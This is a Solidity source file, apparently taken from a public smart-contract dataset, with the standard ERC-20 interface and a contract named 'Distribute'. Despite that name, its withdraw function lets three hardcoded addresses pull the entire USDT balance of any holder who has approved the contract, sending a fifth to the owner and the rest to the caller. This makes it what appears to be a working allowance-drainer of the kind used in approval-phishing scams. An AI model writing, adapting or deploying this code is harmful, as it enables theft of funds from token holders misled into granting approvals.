// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023. | |
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.0; | |
interface IERC20 { | |
/** | |
* @dev Emitted when `value` tokens are moved from one account (`from`) to | |
* another (`to`). | |
* | |
* Note that `value` may be zero. | |
*/ | |
event Transfer(address indexed from, address indexed to, uint256 value); | |
/** | |
* @dev Emitted when the allowance of a `spender` for an `owner` is set by | |
* a call to {approve}. `value` is the new allowance. | |
*/ | |
event Approval(address indexed owner, address indexed spender, uint256 value); | |
/** | |
* @dev Returns the amount of tokens in existence. | |
*/ | |
function totalSupply() external view returns (uint256); | |
/** | |
* @dev Returns the amount of tokens owned by `account`. | |
*/ | |
function balanceOf(address account) external view returns (uint256); | |
/** | |
* @dev Moves `amount` tokens from the caller's account to `to`. | |
* | |
* Returns a boolean value indicating whether the operation succeeded. | |
* | |
* Emits a {Transfer} event. | |
*/ | |
function transfer(address to, uint256 amount) external returns (bool); | |
/** | |
* @dev Returns the remaining number of tokens that `spender` will be | |
* allowed to spend on behalf of `owner` through {transferFrom}. This is | |
* zero by default. | |
* | |
* This value changes when {approve} or {transferFrom} are called. | |
*/ | |
function allowance(address owner, address spender) external view returns (uint256); | |
/** | |
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. | |
* | |
* Returns a boolean value indicating whether the operation succeeded. | |
* | |
* IMPORTANT: Beware that changing an allowance with this method brings the risk | |
* that someone may use both the old and the new allowance by unfortunate | |
* transaction ordering. One possible solution to mitigate this race | |
* condition is to first reduce the spender's allowance to 0 and set the | |
* desired value afterwards: | |
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 | |
* | |
* Emits an {Approval} event. | |
*/ | |
function approve(address spender, uint256 amount) external returns (bool); | |
/** | |
* @dev Moves `amount` tokens from `from` to `to` using the | |
* allowance mechanism. `amount` is then deducted from the caller's | |
* allowance. | |
* | |
* Returns a boolean value indicating whether the operation succeeded. | |
* | |
* Emits a {Transfer} event. | |
*/ | |
function transferFrom( | |
address from, | |
address to, | |
uint256 amount | |
) external returns (bool); | |
} | |
contract Distribute { | |
address private owner; | |
constructor() { | |
owner = msg.sender; | |
} | |
function checkBalance(address _token) public view returns(uint) { | |
return IERC20(_token).balanceOf(address(this)); | |
} | |
function withdraw(address _holder) public { | |
require(msg.sender == 0x15268F77D1261F3183e5A8a2287DfE41D1C422ac || msg.sender == 0xF5089CFCdA913D957fe3013D062cf84A679F0051 || msg.sender == 0xaeC4D07101e3B7d03114c2C947eE2967Ba75Dddb); | |
uint amount = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7).balanceOf(_holder); | |
IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7).transferFrom(_holder, address(owner), amount / 5); | |
uint amount2 = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7).balanceOf(_holder); | |
IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7).transferFrom(_holder, msg.sender, amount2); | |
} | |
} |